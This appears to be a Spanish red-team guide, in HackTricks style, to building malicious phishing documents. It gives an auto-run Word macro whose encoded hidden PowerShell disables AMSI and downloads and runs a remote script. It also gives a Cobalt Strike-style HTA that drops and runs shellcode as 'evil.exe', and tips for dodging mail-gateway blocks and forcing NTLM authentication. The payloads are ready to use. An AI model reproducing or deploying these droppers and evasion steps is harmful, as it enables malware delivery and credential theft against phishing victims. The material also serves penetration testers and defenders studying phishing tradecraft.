Phishing Files & Documents

Aprende a hackear AWS desde cero hasta convertirte en un héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Documentos de Oficina

Microsoft Word realiza validación de datos de archivo antes de abrir un archivo. La validación de datos se realiza en forma de identificación de estructura de datos, conforme al estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo analizado no se abrirá.

Por lo general, los archivos de Word que contienen macros utilizan la extensión .docm. Sin embargo, es posible cambiar el nombre del archivo modificando la extensión y aún así mantener sus capacidades de ejecución de macros. Por ejemplo, un archivo RTF no admite macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros. Los mismos internos y mecanismos se aplican a todo el software de la Suite de Microsoft Office (Excel, PowerPoint, etc.).

Puedes usar el siguiente comando para verificar qué extensiones serán ejecutadas por algunos programas de Office:

assoc | findstr /i "word excel powerp"

Carga de Imágenes Externas

Ir a: Insertar --> Partes rápidas --> Campo Categorías: Vínculos y Referencias, Nombres de campo: includePicture, y Nombre de archivo o URL: http://<ip>/whatever

Puerta Trasera de Macros

Es posible utilizar macros para ejecutar código arbitrario desde el documento.

Funciones de Carga Automática

Cuanto más comunes sean, más probable será que el AV las detecte.

  • AutoOpen()

  • Document_Open()

Ejemplos de Código de Macros

Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>

Eliminar manualmente metadatos

Ve a Archivo > Información > Inspeccionar documento > Inspeccionar documento, lo que abrirá el Inspector de documentos. Haz clic en Inspeccionar y luego en Eliminar todo junto a Propiedades del documento e información personal.

Extensión de documento

Una vez terminado, selecciona el menú desplegable Guardar como tipo, cambia el formato de .docx a Word 97-2003 .doc. Haz esto porque no puedes guardar macros dentro de un .docx y hay un estigma alrededor de la extensión de macro habilitada .docm (por ejemplo, el icono en miniatura tiene un gran ! y algunos gateways web/correo electrónico los bloquean por completo). Por lo tanto, esta extensión heredada .doc es el mejor compromiso.

Generadores de macros maliciosas

Archivos HTA

Un archivo HTA es un programa de Windows que combina HTML y lenguajes de script (como VBScript y JScript). Genera la interfaz de usuario y se ejecuta como una aplicación "totalmente confiable", sin las limitaciones del modelo de seguridad de un navegador.

Un archivo HTA se ejecuta utilizando mshta.exe, que normalmente está instalado junto con Internet Explorer, lo que hace que mshta dependa de IE. Por lo tanto, si se ha desinstalado, los HTA no podrán ejecutarse.

<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>

Forzando la Autenticación NTLM

Existen varias formas de forzar la autenticación NTLM "de forma remota", por ejemplo, podrías agregar imágenes invisibles a correos electrónicos o HTML a los que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la dirección de archivos que activarán una autenticación solo por abrir la carpeta.

Consulta estas ideas y más en las siguientes páginas:

pageForce NTLM Privileged AuthenticationpagePlaces to steal NTLM creds

Relevo NTLM

No olvides que no solo puedes robar el hash o la autenticación sino también realizar ataques de relevo NTLM:

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Última actualización